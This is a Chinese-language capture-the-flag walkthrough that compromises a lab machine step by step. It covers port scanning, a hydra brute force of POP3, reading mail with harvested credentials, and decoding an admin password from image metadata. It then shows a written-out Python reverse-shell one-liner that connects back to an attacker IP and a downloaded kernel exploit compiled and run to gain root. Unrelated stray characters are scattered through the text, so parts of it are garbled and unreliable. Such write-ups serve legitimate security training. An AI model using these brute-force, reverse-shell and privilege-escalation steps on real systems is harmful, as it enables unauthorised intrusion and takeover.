netdiscover -r 192.168.133.0找到靶機(jī)
nmap -p- 192.168.133.220掃描全端口，發(fā)現(xiàn)只有幾個(gè)端口開放
訪問80端口
根據(jù)他的提示去/sev-home/路徑下静盅，發(fā)現(xiàn)是登錄的界面,但是并沒有賬號(hào)密碼,只能回去繼續(xù)看默認(rèn)頁面了
F12發(fā)現(xiàn)存在一個(gè)terminal.js文件,查看文件內(nèi)容，是吧對(duì)應(yīng)的密碼進(jìn)行html編碼了,InvincibleHack3r這個(gè)就是對(duì)應(yīng)的密碼寝殴，然后根據(jù)上面的內(nèi)容,用boris登陸
登陸成功之后,給了下一個(gè)提示,f12查看源代碼,發(fā)現(xiàn)最底下的注釋,提示了用戶名
我們可以知道55006 55007其中一個(gè)有可能是pop3端口,使用nc連接55007端口,根據(jù)回顯消息看到pop3的字樣
接下來用haydra進(jìn)行爆破，使用kali自帶的密碼字典(別問為什么，我也不知道奈籽，網(wǎng)上抄的垂涯。。抵蚊。)施绎，命令如下
hydra -s 55007 -L uname.txt -P /usr/share/wordlists/fasttrack.txt -t 64 192.168.133.222 pop3
找到兩個(gè)用戶的賬號(hào)密碼了溯革。
接下來利用得到的用戶名密碼登入系統(tǒng)
USER boris（通過該命令輸入用戶名boris）
PASS secret1! （使用該命令輸入用戶的密碼。之后谷醉，我們從目標(biāo)計(jì)算機(jī)收到了登陸成功的消息致稀，說明已在目標(biāo)系統(tǒng)上成功通過了身份驗(yàn)證）
LIST（用于顯示目標(biāo)系統(tǒng)上所有可用的電子郵件）
RETR ID_number (用來查看指定ID的電子郵件)
看到第二封郵件的時(shí)候發(fā)現(xiàn)給了提示
然后修改自己本地的HOSTS文件
用剛才郵件中提到的那個(gè)賬號(hào)密碼登陸，登進(jìn)去之后下面顯示有發(fā)送郵件提示俱尼，點(diǎn)進(jìn)去看看
得知了用戶名抖单，接著爆破一波？拿到了用戶名密碼遇八，登陸上去矛绘，在主頁發(fā)現(xiàn)管理員用戶名admin,密碼不知道
繼續(xù)點(diǎn)著看看，發(fā)現(xiàn)一個(gè)TXT文件
看到一個(gè)路徑刃永，看看下載下來是什么货矮，一張jpg圖片，作為一個(gè)多年的MISC狗第一反應(yīng)就是看詳細(xì)信息
發(fā)現(xiàn)base64的字符串斯够，解碼一下看看次屠，結(jié)果為xWinter1995x!
可能這就是之前admin用戶的密碼？雳刺？試了一下竟然對(duì)了~
進(jìn)去之后發(fā)現(xiàn)在編輯的頁面發(fā)現(xiàn)版本號(hào)劫灶，求助google了
然后發(fā)現(xiàn)一個(gè)貌似能執(zhí)行命令的地方,先去編輯器處將默認(rèn)的改為PSpellShell
然后返回之前執(zhí)行命令那個(gè)地方
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.133.206",4433));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
然后需要調(diào)用系統(tǒng)的拼寫檢查，從而讓系統(tǒng)執(zhí)行我們對(duì)應(yīng)的命令
已經(jīng)彈回shell了
查看當(dāng)前權(quán)限和內(nèi)核版本
在kali里面搜一波
目標(biāo)機(jī)器里面沒有g(shù)cc掖桦，先修改c文件,直接把里面的gcc修改成cc即可
補(bǔ)充一下：
cc是Unix的C編譯器本昏，全程為c compiler，而gcc為L(zhǎng)inux的枪汪，全稱為GNU compiler collection,是一個(gè)編譯器集合涌穆，既可以編譯c也可以編譯c++.
用python的簡(jiǎn)單文件服務(wù)器，傳到靶機(jī)上去
python -m SimpleHTTPServer 8999
然后編譯執(zhí)行一把梭
cc 37292.c -o exp
chmod 777 exp
./exp
直接去root家目錄讀flag
最后還有一個(gè)彩蛋雀久，優(yōu)秀
使用msf提權(quán)宿稀，簡(jiǎn)單寫寫，只是為了試試好不好使
